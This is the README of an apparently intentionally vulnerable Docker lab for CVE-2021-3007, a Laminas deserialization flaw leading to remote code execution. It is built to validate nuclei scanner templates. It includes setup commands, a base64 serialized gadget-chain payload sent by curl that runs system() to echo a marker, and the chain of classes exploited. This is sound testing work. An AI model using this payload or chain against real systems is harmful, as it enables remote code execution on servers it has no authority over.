
CVE-2021-3007 Vulnerable Test Environment - Laminas/Zend Framework Deserialization RCE
Intentionally vulnerable test environment for validating CVE-2021-3007 detection in security scanners.
| Attribute | Value |
|---|---|
| CVE ID | CVE-2021-3007 |
| Severity | Critical (CVSS 9.8) |
| Type | Insecure Deserialization → RCE |
| Affected | Laminas HTTP < 2.14.2, Zend Framework 3.0.0 |
| CWE | CWE-502 (Deserialization of Untrusted Data) |
# Clone repository
git clone https://github.com/KrE80r/CVE-2021-3007-vulnerable
cd CVE-2021-3007-vulnerable
# Start vulnerable environment
docker-compose up -d
# Verify it's running
curl http://localhost:8080
# Test with nuclei (optional)
nuclei -t CVE-2021-3007.yaml -u http://localhost:8080
# Cleanup
docker-compose down
docker-compose up -d && sleep 3 && curl -s http://localhost:8080 | head -1
# Send serialized payload triggering RCE
curl -X POST http://localhost:8080/ \
-d "data=TzoyODoiTGFtaW5hc1xIdHRwXFJlc3BvbnNlXFN0cmVhbSI6Mjp7czoxMDoiACoAY2xlYW51cCI7YjoxO3M6MTM6IgAqAHN0cmVhbU5hbWUiO086Mjg6IkxhbWluYXNcVmlld1xIZWxwZXJcR3JhdmF0YXIiOjI6e3M6NzoiACoAdmlldyI7TzozMzoiTGFtaW5hc1xWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyIjoxOntzOjQ0OiIATGFtaW5hc1xWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyAF9faGVscGVycyI7TzoyMToiTGFtaW5hc1xDb25maWdcQ29uZmlnIjoxOntzOjc6IgAqAGRhdGEiO2E6Mjp7czoxMDoiZXNjYXBlaHRtbCI7czo2OiJzeXN0ZW0iO3M6MTQ6ImVzY2FwZWh0bWxhdHRyIjtzOjE3OiJmaWxlX2dldF9jb250ZW50cyI7fX19czoxMzoiACoAYXR0cmlidXRlcyI7YToxOntzOjIyOiJlY2hvIG51Y2xlaUNWRTIwMjEzMDA3IjtpOjE7fX19"
# Expected: Response contains "nucleiCVE20213007" confirming RCE
Laminas\Http\Response\Stream::__destruct()
└─► Laminas\View\Helper\Gravatar::__toString()
└─► Laminas\View\Renderer\PhpRenderer::plugin()
└─► Laminas\Config\Config::get()
└─► system() / file_get_contents()
| Package | Version | Purpose |
|---|---|---|
| laminas/laminas-http | 2.14.1 | Vulnerable HTTP component |
| laminas/laminas-view | 2.12.0 | Gadget chain component |
| laminas/laminas-config | 3.7.0 | Gadget chain component |
The application accepts serialized data via POST:
/ or /index.phpdata, payload, serialized| Component | Value |
|---|---|
| Base Image | php:8.1-apache |
| Port | 8080 |
| Container | cve-2021-3007-vulnerable |
.
├── Dockerfile # Container build configuration
├── docker-compose.yml # Orchestration (one-shot setup)
├── index.php # Vulnerable PHP application
├── LICENSE # MIT License
└── README.md # This file
WARNING: This environment is intentionally vulnerable for security testing purposes only.
DO NOT:
DO:
MIT License - For security research and educational purposes only.
Created for nuclei template validation | projectdiscovery/nuclei-templates